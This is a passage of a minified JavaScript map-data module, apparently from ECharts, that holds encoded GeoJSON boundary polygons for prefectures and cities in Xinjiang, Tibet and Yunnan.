"],encodeOffsets:[[92656,48460]]}},{type:"Feature",id:"6531",properties:{name:"喀什地区",cp:[77.168,37.8534],childNum:13},geometry:{type:"Polygon",coordinates:["@@Č@°ƒĠ„ôÓô@Ŏĉ@Ƴĸ@Ť£ĢlVôWVóřXĉŤêÞ@ƐÒĢÑlèÈV@šĠIk°ÆŘ@ÈÈĀ@ǶťÒğ@š„@ÒĉlŻ_@šƧĖÅĬōÆ@bźÞnƒƒlVœÝĬšWƼʇ„ƒÝÅ@ÇÅÈwWóĉ±ğz‚ĬČƨƂÝIĉݯbÇÑĉƒ¯ʈV°xUŰĊ¤ƪ_ôÓɚI@lȚXȮ™ŎlɴȘ՘š„¦ɲÆʈ_ɴŽźŽôÞʊŎĠƒɆxˤ£ɄÑVwXƳ¯w›ɛŹ٧™çƧ¦ōƒُ͇еϻɃɳU™Ý¯@ōÝŹš™@݄»mğ™»ÝKkŁżřɅƅƒ¯ÆīĊ»ôVôĕÅUĉéV¹ƨém™anѱĕnwmwnÇۄyĉ¹ŹlŏkĵèķmōÞġKñÔċKÅèĉzƒŽ„ômxȗÿƿI@þÅČÝKݰ@¼ÈVºš@Å̚ÆUċłn„ÝÆǕČĵJm£ÝJ¦@ĊƒxV°ƏLċ¼ǩ™@™m@ÅĢómÇÆğ¹Çš™ÆšĖÞKšx„wô¦ÆÑÆL²ÆƾŽU„ޱŚÅŻĖ@ĬŤÈñ„@ǔÇx„Èǃ","@@VÇ™ţ°ğUĠ¯mk¯ó¥ķIġÿƏbƒ„ĉa±ÒĸĀlKU„_m»nwšŽ„m@ÈŤ¦ĉbÞ°±Þżł̦°ĢŁVé"],encodeOffsets:[[76624,39196],[81507,40877]]}},{type:"Feature",id:"6542",properties:{name:"塔城地区",cp:[86.6272,45.8514],childNum:7},geometry:{type:"Polygon",coordinates:["@@ήnĸ¥ʈ¼ĸ@ôϰÒ@ƅƒōUķƑǫʶпU֛܃LګK@΋ĸ@Æ£ÞġÅĠċšLV݄»™@Å»Ýnm¯š»nŻĊ@nķŃ@¯ómóÛÝǟ¯aÝóȭ¥ƒšōUmxĉbÇї@›bUº¯X¯ÆƧbVÒĉnǕw¯°ƑŽV„—ŽÇ@kx±Uƒšɱn™ŽÅKƒ„¯ƒĠǠU°ɜL@°ƒxnĬ‚ĀŋŎÇLƒŽğšϱÞέƜkôÅĀǕłƒĸĊŤUṴ̋„¦ȂϰÜɨ°x@°żǠÆƈČVĠ»ČL°ÇšbĊÑ̐óÞlĶwބɆVÞwǬxǪţȼÜLŐĶˢ@","@@óKĵĀV͈ĉłƾNJÆŤƒzXl°ƒÆL²¼źŽôÈĢǔ™¦l„ô°ɜÞʊĠğŃm»ʵƳƑʝȗīV¥¯ĉ°Ñ@ŃÅI™»ĉmğn™ƒašƒċƨbš™Vğ—w›ġ¯@Uōa™ĉÝJğÑÆŎkŎÞĀlꃦ"],encodeOffsets:[[87593,48184],[86884,45760]]}},{type:"Feature",id:"6523",properties:{name:"昌吉回族自治州",cp:[89.6814,44.4507],childNum:7},geometry:{type:"MultiPolygon",coordinates:[["@@መL@ȰĊȂɆƒÆĊ£„ťôWÓɆbĢÅŎƒÆ¦ČÑW¥°ķU¯ƏŃVē±Ý@ó—ç˜ĭɃƾřÆķkwʃŤ¹ġ¥ĵKŏÅXmˍщwǓ¤Ƒ@wóōVķ£ɱšġôÛa±Òȁ„óèţIVŽƽ¼k¤ó¹ġJmx—»ÝUƒ²™@ÅÆƒĸǫŎ„ĊmŎǬ՘"],["@@Þô°bÞǠôÜôn@°ĸń˜Ƕkłƒ¼UޙKğȂÆÝĢŤķ@@ΌڬL܄K@ˣȂ˭lĉńW¥ĵVÆý@ŃÞēUŃȗƅ@ŹƩǕĉ»k»Ç™VğóřX™ŻKƏŽċêȁèÛŎġƒͩń"]],encodeOffsets:[[[90113,46080]],[[87638,44579]]]}},{type:"Feature",id:"6530",properties:{name:"克孜勒苏柯尔克孜自治州",cp:[74.6301,39.5233],childNum:4},geometry:{type:"Polygon",coordinates:["@@ˎǫĠƽ°UUĉ¯±ȁÑmƒ„¯Ýōˋō™wUű»ÅƑ°ƒȘ@²¯ɳʇ`ɱŃ¥՗™ɳȗōkȭšșW@kəJóÔƩ`ĉ£Vů¯wU°ʇĊ„ÈÒ°aĊÞÞJŁċƧīĠyĊ²XôÇxÈÆÆ@„ÞʈƒÅ»™XÞīU›Ƒkm„ŹÝ@aŎÅÆīƨĕ@™ż`Ċk@љƒĠ@ŦÑ@ǵÇÿ@ÇÅŗl¯ğJ@™ÇUkçġÒƏÑÝ@ţéWĊôŚUŽóXUġkţ¤ķ@@ƴōĊó@óÔğƒ¯„ċ@@Қ¤kôˣŰ͓„k»ƒKX¯ċwƧôğɐšÒôIVƙš¯UķǬķšnŽ™¼ôb°ÒȰVVÈÞ°ƒĸó¤V¼°„V°²êƒlĢ҂Uƨ¦ôȰƴĊVV¼ǖIċĊ„ÞɜéšnČW˸Ǹša„řÈw±īšçĸ¤ĊšôšwšŽĸU̦˜éǖĬ„Āô¼lÞkÒ°x°ƆÞx„šÆV²ǔ»„b°wގȘ¥°n„šŎV@°„„ʠè‚ŰȂb"],encodeOffsets:[[80269,42396]]}},{type:"Feature",id:"6521",properties:{name:"吐鲁番地区",cp:[89.6375,42.4127],childNum:3},geometry:{type:"Polygon",coordinates:["@@ôK„ĉǪa²¼lÜô@ʠê°Ĭ™ôȂƒ²ÑÜbĢóɲ™ĸ¤ŎUô@xƒŽǔ£ъxˎmƒÈÛ@‚_nĕÞōšř„ǫƒğšůlȯ„¯ĸ»U»Ükôƛ°ůkť™»Ŏŗ@¯@±͓óͿ„Ǔ@ķȁ¼Ϳ@Ƒ¼¯°ólġ¯xȗUġšƑ™ǩÒƧUݰ˹Kóššx@ǸōĬÅĬƑĠ󃄚ǔêÆ°XÒʟŤUšÇ¼ˋnn¼±V²°ȂUŌݜbʟǔɅô@żǬaҎÈ"],encodeOffsets:[[90248,44371]]}},{type:"Feature",id:"6540",properties:{name:"伊犁哈萨克自治州",cp:[82.5513,43.5498],childNum:10},geometry:{type:"MultiPolygon",coordinates:[["@@ĉ„ÆŘȁ̐mÞ¯ĀX°±¼@ƾ¯ƴ°ŎÝþŋ¦WÜÞbȂĉźUœÇmwVUȂóô@ȰÝ΀nÆJn™ƾ™ʠ™ŌLČóǪ¯œ¥ǔaǖšŌaôÝĢLšx„ƒÆLšɲm„™²VlwÈ@˜Uƒƒ°¯ǖxĊmUÑƨa°Å°WV¹œa›ÇɃÈm¥°¯ŹóĸķǫUm»Å¼ÇVɱ™l݃ŋnķÇÝX¯ƒͩÇɳa——Ý`±_U±ĵnWƒ™a@™ĸóšķ™¯ǓV±ÅĵJċ¹ɅykwDޝ£Åxʟ»ƒlķI¯ƒX¯ķ‚™êǕƒȭnķ»Ź`±„kÞ@Žš„Ýô@Þ°xšŤŎIƨÆUxōš¯²ǔĬǬlUŚ"],["@@ÞĀlꃦ¯ĸŤKޙšƒċƨbš™Vğ—w›ġ¯@ţƽJ"]],encodeOffsets:[[[82722,44337]],[[86817,45456]]]}},{type:"Feature",id:"6527",properties:{name:"博尔塔拉蒙古自治州",cp:[81.8481,44.6979],childNum:3},geometry:{type:"Polygon",coordinates:["@@ήƛϲÝĠ™„ÈKŌōÿmī„w@¯ɛKV¯ğǟ°Ƒ™wġKóÞŋbǕ™Ǔb›¦ǩ°ċôŋKʟšƽšmšÅImŽͿŽȯÞó@ȁôUVnx›ÈŹVȁĊÝabŻ£¯°l„óxȂŤĸkĊšÞyĊêĊmĢxV„ƨÈŽĠX„ŽΘÆĠÔź‚Ɇţ°LXƾŤŤb"],encodeOffsets:[[84555,46311]]}},{type:"Feature",id:"6501",properties:{name:"乌鲁木齐市",cp:[87.9236,43.5883],childNum:4},geometry:{type:"Polygon",coordinates:["@@šŽWŽôŚUĠȚl¼Ċ¼ƪǖ@źȘƆ@ýlܚXVŘޙš¦V¼kĖó҃èkĊȁˮ֜@ǫ՗nōƒĉǬō„ķÆÅš@„±ÞV˜¼nwĢIôºl£ƾ»UŤJôçšó¯īʟéó@kÛ±»ǩbƒĊóLҍÇǫb@ŻɆóʠǓ›aŋÞȁVʉłĉbĉɅô"],encodeOffsets:[[88887,44146]]}},{type:"Feature",id:"6502",properties:{name:"克拉玛依市",cp:[85.2869,45.5054],childNum:2},geometry:{type:"MultiPolygon",coordinates:[["@@ɜÞʊĊýVaŃm»ʵƳƑʝȗīV¥¯ĉ°Ñ@ŃÅI™»ĉmğn™ƒaݚţL°ķóKĵĀV͈ĉłƾNJÆŤƒzXl°ƒÆL²¼źŽôÈĢǔ™¦l„ô°"],["@@ƾIŤ@UUwōa™ĉÝJğÑÆŎkŎ"]],encodeOffsets:[[[87424,47245]],[[86817,45456]]]}},{type:"Feature",id:"659002",properties:{name:"阿拉尔市",cp:[81.2769,40.6549],childNum:1},geometry:{type:"Polygon",coordinates:["@@nIÇŃÛÝĊÑĠƏō™гwȁ¥Ƨ°ŹÑķV™¼ÞêĊ»‚lĵšm¦ÅW@ĀôÈźaɜxÈbÞÆĶIОŘ"],encodeOffsets:[[83824,41929]]}},{type:"Feature",id:"659003",properties:{name:"图木舒克市",cp:[79.1345,39.8749],childNum:1},geometry:{type:"Polygon",coordinates:["@@VéVÇ™ţ°ğUĠ¯mk¯ó¥ķIġÿƏbƒ„ĉa±ÒĸĀlKU„_m»nwšŽ„m@ÈŤ¦ĉbÞ°±Þżł̦°ĢŁ"],encodeOffsets:[[81496,40962]]}},{type:"Feature",id:"659004",properties:{name:"五家渠市",cp:[87.5391,44.3024],childNum:1},geometry:{type:"Polygon",coordinates:["@@„çôÑlĕU»™¥ÝšUŗ™WkÛ@þVńÝĔ@ńÅþĶUX¦Æƒ"],encodeOffsets:[[89674,45636]]}},{type:"Feature",id:"659001",properties:{name:"石河子市",cp:[86.0229,44.2914],childNum:1},geometry:{type:"Polygon",coordinates:["@@lŁ—ǵm‚ĉ@mż™¼n°ÞmƼš@"],encodeOffsets:[[88178,45529]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/xi_zang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5424",properties:{name:"那曲地区",cp:[88.1982,33.3215],childNum:10},geometry:{type:"Polygon",coordinates:["@@ƨʔĸbܺÞwnxźbÞ°ô@„ĶŽĸIȼĊJŎÈôUšÝƒ¤ǔLސŎ@ĢŽȘblƒôL„ÇźçȤôLš¥ÞIÞ¯Ķxʊťƨ™ƿÑĉXVķŦ¯ȂKÇǕšÑ¯IUš£¯Óƿ£VĕōÞÿÆwƒƑ„£ǖxÞĕ±ÇÝaUÑȃU¯‚UōÈ݃wWŁĵ™±Ý„óĢÿ°IÞ±mÅ̝mÿ„¥°UnÑŤĢĕĶwǬŻͪwŎ¼źÇĢ„Ġĕˎٰóƨ¼Èa‚m@¥°wǔ„ǖ°ŽƨÇŤœšġƨ„ŎŃôbÈÛŎĊ°@Ġw²ÑÞJƃÆb²ƒ°êĊUނlȲƒV„ÈKĊÒĸĉ›»ÅôťUÅǃk¯@ǂÑklǁÅl™Ģ™VÑóƒ@°@„ÛĸƒV¯ƒÇĊ™n¯Uĕšƽ¯m›¯b™È@Ò°Ĭƒbĵ›¼„‚kxķýÇJk£ÝaUÑÅóĶǟkÓʉnĉƒÝ¼Ƒ„ó»Þmn£m™Č¯@ƒȮÿV¯ĸƒ™k@Ýówƒ»ğ„ġ±ǓLō„ƒšV¼Əèķĉ™è±b@Òţ„UÑóakƒl£™Ó@¯L@™ÇlUóȁš¯aġÈÅĕÝLķ¯Ė¯@WĬ—x‚ÒÈnW°ţôU²ǓÓġ²V°¯ôƒǔÝL—ċšk™š»Ý»Ýš¯ÞƒVƒwۄÝÇōͩÈĉċ»ĉm¯£W¥ţKkóġƏW@¯±kōŽÈ›b@җšÇaƒÆ¯a™„ƒkóŽÛƒÇ¦Ýa¯šÝ™ĉ@ǻۄmƒǓxķƛ¯lVĀÅÞġb™™ÇJUÅV™ĖƑW™zō»ōšƒW™n@è¯ÞóVkwƩnkźÇބҙޯƒƒýğÇUxÆÈnè±bĉÝ»ÈуwšwÞ@m»ÈV@ýÇ°ķ™xƒa„ݯXċ¥ƒÈóW@ôkxlnxVÈóĊkŤġ¼@°¯ŰƑL̻۱ŎÝV—Þ›VƒÇÞŎÇakƞ‚š@èğŎĸżšƾ°ÒšLÞôĠKȰĖźVÈÒĠ„¤™VôšŽU„ÈþťL@ôǬÞlÜÈnÇÒUŚ™@šĊƨW°™°Xƒ‚@ČÇþ„ƴĉÒķ¦@ŽĢôWĀôłUÞĢǬ™ź°¼š@ƒôV°„bUÆnzm¤ƽĸƒÈ"],encodeOffsets:[[88133,36721]]}},{type:"Feature",id:"5425",properties:{name:"阿里地区",cp:[82.3645,32.7667],childNum:7},geometry:{type:"Polygon",coordinates:["@@„Çƾķn£myVŃaU¯„ó™@¯»šŹġǫVÝóŁXÿġó@ĸ¥ĊуƳÈý@ċ„Wš¯X¯ĉƧ‚™š@VřÈÑÇmkÛǫÝ@óŦKÇýVƒ™U󚏃£ğÇÑŹUȯĕğLÝó™K¯Ñ™ƽķŻĠō@灙lƝÈbƍÈ݂„œU˜ÝÞU²ō̼ůƒK°ů@¯UK±—ĊƧbōÇmçÈġƒóšÅób™™źóš¥kól™ç™KôĵUƒÅ„VŃķ¥nÅŏm¯¹Å‚™»@ÑǍóxÝkʇȤU¤ķb@ƒ¯ĊÇx¯ĸĉKm°šĀk¦l„„KnĬȀƾÛ¦WÆÅmNJĉ°ōUţ¤UšŎ°šŎKÞłÆ„Ǔ¦ƒÞ™‚™„ř¯bmUÝl¯Um™ğl¯£șwŎǫaÝnĉ̓k@¯™K™šō»ĉn™aÞ»ťnkml™ĸ¥UŚŻkÑťƒĉV™ôó°LôīĠU„ÿĉǕÅz±Kƒ¤„²ō¤¯Ė¯UÝ¥Vĵ™óÈťÝwķșÑk¤ó„™ƒWýĵĕ™„VĠƒV󍃎Ǔ„ķ°k±VU±ţ¦UǟÝřJVљ¥XUċUŎlÛƆǕÆȗƆ¯wŏÞÅ@™šĉl݁óŽƒÒ™nUôńlxólÝôێ±™™LÛôÝL@‚ġ¯X¯ÇUżóa󤛼XÒġŎóLk¦‚ôżĸĠ™¼™KġƆô¦„ÆƑÔĉ͝ImÒ°¦n°¯Þl˜ÝČn„ƒÒšKĠޚĕkƒlýƾťœšôI‚ĖŤÒnƜm¼¯lnżóÞ@Ůó¦™ôƽĖċŚn°Ý°ôÈUƜƒblÞóŽ@Žǖô°UÈƆ°X„þôŽô‚lѢšŽ²Ėm¦°š@¤™XŽĊblܚzkºƒĖmX„šŎWVšóÞn°lĠxȚa°»żLźƒ„b@ưXĠÝȚxĊĕŤaȚ‚°È@„„@èŤ¦Ü¼œW˜ÞkŽÈ@V°lŤkŎ±²¦ƐUšlj°aÈÑŎb̃ŎbÆ¥ÞIȘlššôVÈU‚™šb„kɲĶn„mnXb̼òƾĖŎ@̐ȂÑôÓĠĖʊšĊÔ"],encodeOffsets:[[88133,36721]]}},{type:"Feature",id:"5423",properties:{name:"日喀则地区",cp:[86.2427,29.5093],childNum:18},geometry:{type:"Polygon",coordinates:["@@ĶĖXþš„ôƒl£šÒĸÇÞxÇŦšôUĶÞ¦°V°ĕŎ£ƒ±„£²LÆyĊǖƒĀğVóĬ¯KóôUš‚ĊŦ„lҙżVÆķ¦kšlnŦmݼšbĊmŎ¼š™šL@°„lĊĵÞmǬbƍȚx°¤Ġknš°VÞkVn°aƒŚš‚š„Ýǔ¥ÅƒÝŁōL¯™ōV™Ť£ŎVĊ¯nljƏXÅÜ¥ǿƽmīƒLkƒl¥™ÿn¯ĊL°ķÈw°ĉ@ƑĸaV£ʈȣÞlôwȎ@Қ¼Æ°ºŐnmÆĸ¦UńƃV„ó͚LšèôkŰlĬ™¦Źôššôa™Æ„ôÇĢnèŎÈƨa˜ĉ²‚VLĢ»lţôĉUǂwkmlw@óôX„ÇȦ°WƒÞ„b‚wĸšÈ¯@þÇUn¼Ý@™x„xÇńÞ¼Ċ޲amçÅÇVwĠȄþ°„šÝƒÑÈÝlŹƪmlxôU°Ý@çšm„XŎ™Ŏ¼šyƒXšĕÆUVÈIššĢaÆÝUÿ°kĸƜǔwn„܃ȼĊ@ޚ°™Þbȥ܄ô„lšƒ°b„ÅÈb˜™@ќa‚ǯUU¯Vġš»ƒ™¯aV¯Ç°Å™mnÑŤçǬVǬ™±ĉ¯¥Vĕ¯Ýk£˜ō—w@±ġÛ°ÇVїƒ@ۘa@ČL™Ƴ™„ƒÇa¯¤ÝIĵ¼U¥ƿōķÅţŻókÝóĕ‚¥¯™U»Æ£X¯ġŃÛkݰV°ó¼¯èWôÞĖ„ȎƒŽkĀƧĀówm¥¯JŹÝJݙōVVŁaݐƑ@ƒ˜ğŭǂ¯_ƒ˜ĵ—›VnxŃón›ƒĵxÇĖĉVÝÈğV™Ò󃯐±Żĉ£ķÆÅL™Ljĉý˜ţۃ¯VƒnV¤ÝÈ@°ÅÞݤ™ŰğŁm¦ÝxóKƒ¥ɱÈUĠôêVôÛ¼ÇWÝçĵaō¦óĖƧlÇĢƑŽnŎDŽV¼¼‚ºÛ@m¦ƽ„ĉmm¯ÝKÛç¯bŏłĬ™bƒ¼ÅLmŽ„xť°ÅU™šÝXkŽÝmĉ¦W„¯K„ÒknÝaV„Ýè¯KɅńÝKnÞ¯¼"],encodeOffsets:[[84117,30927]]}},{type:"Feature",id:"5426",properties:{name:"林芝地区",cp:[95.4602,29.1138],childNum:7},geometry:{type:"Polygon",coordinates:["@@‚VÈłVôÈk@š°K@ŽšÔk¤l„ôbVÒŤƒ@ѲašçĸĊƐçU»„™ŎƒǔK̲Ġƒ„¼ôx@ޚlƨĬ„Ul¯ÈLV‚šÞJ„°Ünʊ„wÜbXê‚VÞ¯°ššanaU°wƼɴÑWѰmÈýÈam¥Þ£Ť@„¥ôblÞĢ„ź¥ôxÈÅmݚ™ƒĕŃV»ĉōŤōnóƒ»ÈīķIUƒĠѰġĸLÞ¯VÒÆ‚@bš¼WôÈ@V¼ôóŤKÈÑU»šwVǫżnWÒÈx™¼‚lŦ£ĊōŤx²¯@ƒÆƒU¯šçÆ@„¤°£„é°k°lšůÈó@¯ŤÇÈĉƒkkÿó¥ÝXķљÜ@ÒóŚÝ¯°ĉówÇ±¦ÅJUÒĉĀķw¯°m˝„±akxÝÅnƒ™»lуK@¯lU™¯UVѯóĊ¯mōğVǓƅƒÞƒWÝÈÛ@ƿô¯ÜġzÅþ¯ólmôʇġĊÅUͿřŏȁˋŁóÇˡōƧƒÇb™w°Ķôk¦šÒƒnUþġҙÔkǔķèó@ƒ²@ŘōńĵyƒzġaݤÅIƒ¤Ƀť¦ğѯ¤ķbóš¯ó±ŽU²°¤ČÜVnÈÆ‚„ŚŎ°ôĢ„þÆzèVĀǎĀǘƒXŹÑ¯¤ówċķk¦šłUÒġzÇ@ƒ™ÆÝx@²Þ@Ƥ„Uô¦Uš°x„U"],encodeOffsets:[[94737,30809]]}},{type:"Feature",id:"5421",properties:{name:"昌都地区",cp:[97.0203,30.7068],childNum:11},geometry:{type:"Polygon",coordinates:["@@™ŽVĖm°ĉš„ÈU°ķ„ƒÜ¯@@ô„UÒġškš‚ÆkÈlށÒ@Èl°È„VÆóŦƂœ¼‚a„ÅĢ™Ʉwnōw@¥Ŏ¦°ŹÞmVš°wnÿƒw„wÝw@¯šmÞŗ°wĠ˜ĸkÞğlĔ²¦°@„ĕĸwVóšal@nĢÇĊn°@¦šŽźUXçǔůĸVš™ÆK„ÈÝĠš²ÅĔô@lšŽÈ_m˜„zǖl„šaU¼ôwV°¯¦‚ĬÈa„l@Čǎ„¼™„nŽ˜I„xô»ɜ@ƨ¥ɆŁ„ŃǪȁkƛƨȍʊȡóĭ›@—ÈÇVƒůރĸƅmēƨť™ÅÈʉVǵ°ġVŭÅɧ°ÿnɛš£mƒķ²ŃóÑUĉ°mÇ»¯@mxUèţ°ȁÝç„ġU¯ÆÇţÈ@°Çô™Ű¯k¯lƒê¯¤ƒ£Å@™èV°Å„@„±°ţwĉŎť¤kš»ÇwXÑŻmUǬ™xV¼ÇÒţLóôU»Ç@X󙻂a@ÿŁUÑݰķK¯ĢğÒV„ĸJÇĬ„¼môţŎĊŎU¼Æ„„Ė™šnÞÇÆówʦġƒkÝóaƒ¦ţ@ݤn¦ÇbÇþ¯nXÒɳÒÅ»¯xVmb™b¯™Ý°UWéÛaƒxʉÛmƒ¯ÝI™‚UÇKk°ƒVƧīķ„U°ȭĀ@„ċ°nšm¤Ýnô¼ƒƒÞ»Ċ„ʊmlÔĵǠÆôVÒÞbl¤ÈIĸþlwƒœ»ĶŽ„a¯ī@њǰanœƾ°"],encodeOffsets:[[97302,31917]]}},{type:"Feature",id:"5422",properties:{name:"山南地区",cp:[92.2083,28.3392],childNum:12},geometry:{type:"Polygon",coordinates:["@@°ÞU˰¦²ĊôÇÜLǖĀɜŽȘŰÞLĸźêÞ@UÜUŤ°ɞ¯Ü„°WŦĀmŎ„¦ĢyVљŁl¥Čĸôx°£źÒ„Wȗ‚ÿȍUÿ‚çÅyƒýóġō¯ƒřŁmÇÛUċޝ£V±²°ôô™ĸa°£ĠÒŦ¥ɄŽ„£ÆJÞ£Ģb„yĶzŎŃ@ŗ„±ô@ĸçlǓšÓĢÑVý„m™Ñl¥ĵó‚¯̻̥™ƛǫÝһÇƧĉyţ¼ҍēVĶĉŎ°ĸmšÞVÝĸ™ÒÛaċ„ó™ŹĖƒèÈÈl¼k¤ÝX@`ސŏ¼Æō¼ÇçĉKUÝÝ£ğ¤@¦ġl¯Òġĉ¯óš™móxÝÞğVšƴċK@—b@ܘ„UÒ¯ÈĢÜ@²˜x—Ŏl¤"],encodeOffsets:[[92363,29672]]}},{type:"Feature",id:"5401",properties:{name:"拉萨市",cp:[91.1865,30.1465],childNum:8},geometry:{type:"Polygon",coordinates:["@@Ŏ²l@°‚XĢƐlôŤLX¦°¤ĊnȼÇĊŎͪÞÈ܃„x„U°Ýޙ޼™¼lšČ™˜ŽÞK„Ǔ°óU¯Ģ±ǔÔV±ŤóX¯ÇmÑ˜wXī°@°ĕĸÞKÆĖĢǰbȂ™ÇفUƒV¯wV™ó¥ƒVÅ£Ý@@±ÞwšÅ‚„È@ƒ¥nōťÿ¯Xۃɝ°ţ¯ÛVVÝ@ŹéķÝKȗůɛǕÿÛKóÈǫšǫUţèmҚn¯Æ°ÈU‚°b„š™¼UĢV°°V"],encodeOffsets:[[92059,30696]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/yun_nan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5308",properties:{name:"普洱市",cp:[100.7446,23.4229],childNum:10},geometry:{type:"Polygon",coordinates:["@@U‚ô²‚a@޲²Ķ¥œV°šĶ²bl¤kVxl‚@œ°‚ڲ@˜„„y„@ô¦¯„@xƒxVxU„VššbVšÜm¼Ŏ„„ĢmºXXWÆ@œšmŽmXU°ÅÒm¼Þx°w„@°‚XêĠ°»nV°U„l@k„@V±ôī@£‚ƒČŃÆ£„KÞý@¥‚k@y„a@—nWV„UVƒšwƒmƒ£Jƒknm@wmkn‚X„˜šX„¥mUUlUnbš¯°ŽnkƒVInlIUw°n™mk@@mlanXlanmšk@wVWUw™_@éĠašnmUaÜ£ƒmXƒ¥¯@@„óUmݯ¯ÞÝlKnxô£š»„»Ġ„J°aV„UÝÿV¥ÛbƒI@wmŽón¯yÛL@ƒWkŎmș`IWa¯K@¯mUnmaXm™bmak„¯ŽƒĢ™ÒÝm¯mV¯KÇb¯KۜWW™X@a™V™knċLUWV™kXóW@k™a@ƒób¯Uƒwmb¥UUlaU¥U£ma횃KXkƒmÝ@kwmѯk±ċbUUVakaġ¦ƒƒkL@`ƒœ™a¯xƒm™Åƒ™LUWƒ@ċnŎUV°LkL@b°°@¤š²ƒ‚šnôôk„l°kè›ÒÈzV¤È„WôôƒnV@„ƒ¦@¼Ux"],encodeOffsets:[[101903,23637]]}},{type:"Feature",id:"5325",properties:{name:"红河哈尼族彝族自治州",cp:[103.0408,23.6041],childNum:13},geometry:{type:"Polygon",coordinates:["@@°°nÞôV@ƒ°@„¦WŽ„nÛ¤Vbmn™ğb@êš`VxUX@xš„ÆÞUnn˜WÞĸ̃šÈ@ŽÇè@zÛÜWšÅêlš²„˜KnV¯ĖĊx@bk@@„°JÆ£Èbl„nnm°nlUkVUUwVm„Kn„‚nVŽÞxVLX¥laX@@xl@VzȎVmšk@b°šÈĸmŽV¦`W„XšƒbUb‚bX¼°x@ašVVkn@lþnXUlVxŤÅ„y‚IUƒka‚IŎĊ@lXx@b„z@‚ô„ƒ¥„_V@l‚n@„ôy@al_l`nmƒÈ»@kƒmXwWK™U¯»™a™Å@wƒmUÝKUa™UUƒ™wWƒ@w²»@kƃV£—mm£VKkÑV@@»nwƒ¥™ƒ@kƙnllIVlnLVakalknJšWmnaUaVÑVVލn¥m@ƒ„¯Uÿl™@™™™VçƒaXaV¯UyVLVkš@nJlšXLlŽkxlbla²Òl@nVJVkšx„KlkUaVķÝÑU@Åm¯@±™Uó°ğńķĠmU™Ñ@ǯ¯Å¼@nml@°¯¯`@w™£@¯Çƒk@ƒ»nmċ¯U»™I™Ž¯LÇĶÛn@bó°™U›šwmޝ„™Umǯa„™ƒ™ƒI@ykIƒVUޝbƒIğŽƒ¼™¼ó¤mwkLÝÞ"],encodeOffsets:[[104243,23429]]}},{type:"Feature",id:"5326",properties:{name:"文山壮族苗族自治州",cp:[104.8865,23.5712],childNum:8},geometry:{type:"Polygon",coordinates:["@@šwô„š@²¯maUmôUÆxš@Xš˜bÞInlVUVw„JVaU„K°¥„xmÞXnlKlnna°@ĊČ„ÆwUmnkl@°ƒƒ£nyn@VV@Vak™ƒ@@kÞ݄bmx°Vnw°klÞInĖÞVlKl™@Xa°„„KlV„U@šJnx‚U@ÈĢbUKlm@ak_‚wšanWUk°ƒl»„k@Wk@lwU_ƒ@UalóU¥ƒÇnƒ™kJWƒ@mVXx±bƒK@nV±a@™Åa™£ÝK²ƒWknamKknǏk¯ƒaV™™V¯ĀƒU™„™Ò¥ƒI@mm¯¯xōW@@`k@ó»ƒUU¯lm£ÅWlĵ„w@mmwÅmWU@y±U—xmwU„¯Uƒ¥Ý¥¯£m@kŽÇVUV°VbklƒL™wUlUIm‚k@±ÑkbkalwkWKk™mI™@UlUKVzU°Wb„bU蚚@škšVƒ°@„n‚m¦ÝŽUUUÒVbmbXn™‚mIkllbUbmKUkkJmkŚ@lš„„¦mx@¼U@lÒULn¤˜nU¤Å„@l±¼@xX„šxV„šVVbÞLVŽ„n@xšÆšb°¼šV"],encodeOffsets:[[106504,25037]]}},{type:"Feature",id:"5303",properties:{name:"曲靖市",cp:[103.9417,25.7025],childNum:9},geometry:{type:"Polygon",coordinates:["@@ȦlKÞĕUV¯Um¯„ÇVUnVVUƒĉn™ĊÇƾLn°°È„JÆw„@lbÞa„¦V„XJ°¯W¯„aÞJVkUša„ƒ@lKnÅmWUk¯a¯»@m±@уkkbWWX_WÓU»_l™kÑm@U»m@l@IWċn¯l@VanV„UV™UVwVx„KȄVmUē‚@„ƒn@VÝÆL„w„VVwnVlmkUVÑǰka@k™ÿÝaÞUl£™›—ċĕX±±ĉƒa@UnVnalónk@wl™UVmkÝJ—aW™™@ÅwóVVnnb±°™@óƒ™xXLWx„n@lǼn„m‚k_k`@bózƒ‚m@kU@ƒ`„¦óƒ@nWš@ÜÅXWw@ƒyƒb¦@ÒlnUb@x™lܐk‚@²Ç@Uƒ¯bmy@kV@bƒb„¦U`lLVx@b—Ll¼Þ¤@„°VVބU@WސUb›J@nnš@lnnm„šxUŽƒUUbƒK@šÇwklkUƒVWakn@ŽlbU@@„ULVxkKUn‚°¯Ò@¼™„kmƒ¦m@kl™Ȱ@lU„l¦„@Vl°wšnnþĊUÆbUx™b„ŽV„šĖU°„a‚nnašV„al@@b"],encodeOffsets:[[106099,27653]]}},{type:"Feature",id:"5323",properties:{name:"楚雄彝族自治州",cp:[101.6016,25.3619],childNum:10},geometry:{type:"Polygon",coordinates:["@@mҁXU`Wnšš™@Xl±¦š„Uxnbl°knmKUx„„ƒxVôUx°¼ôÒȄ°JlnÞKĠœW°¦ƒ„Vx²JVwš_°¥@UV@@wnymknK¯I@‚™²b°ƒš£V¥šwU‚V„¤nLškÆJÈwôô°„l»Č¯ƒġVƒUU@@ƒ°ƒƒÝXl@U»°Å„@U„¯@w±¯VmUUlm@m™„ÑnIVyUwmak£Vwm±—@Çw@nƒ@UxkwlÇnL‚mkř@±Žk™ka@kóJV¯Ç»U£lw¯™Xalbl¥¯UXƒ@a˜™UaÈL@ÇVIVƒkaU¯mm™akLWkUJ¯Umxnšƒ@ƒkUx¯xƒ„mWÅīÝkkbƒŤƒbkxWmXwWk¯wƒKkƒƒLŤċń„@¤óĬU²ƒ@@lƒk¯VmU¯¼@xV@k°l°kbUš°nm‚VnUš@°„š„UVèރÆbUÒÞnU¦›V—¼lô„@Vl"],encodeOffsets:[[103433,26196]]}},{type:"Feature",id:"5329",properties:{name:"大理白族自治州",cp:[99.9536,25.6805],childNum:12},geometry:{type:"Polygon",coordinates:["@@lbœKVIUa˜@²m@b™xôÒÜxXLmbnšl@š„„K°šš¼k„Uô‚xôlV¦nJ„Uš™Ænšm„@šx„ÆwšbXšÆôô„LUVwôK@wlmšaVwœ@WknmƒIUmlnJla@_™@kÝmKUašÑm¯Xw°aUaVl»²JV„bÆJkôͲVVk„mšbVwUó„wƒƒVwnLlmk¯maVw™ƒ²¥Wkš@™™XmV_‚WnÑUkƒ@k󘻜UV¥ÝmVÑÅa݄UçƒVƒ™@¯V™Umn¯mV™la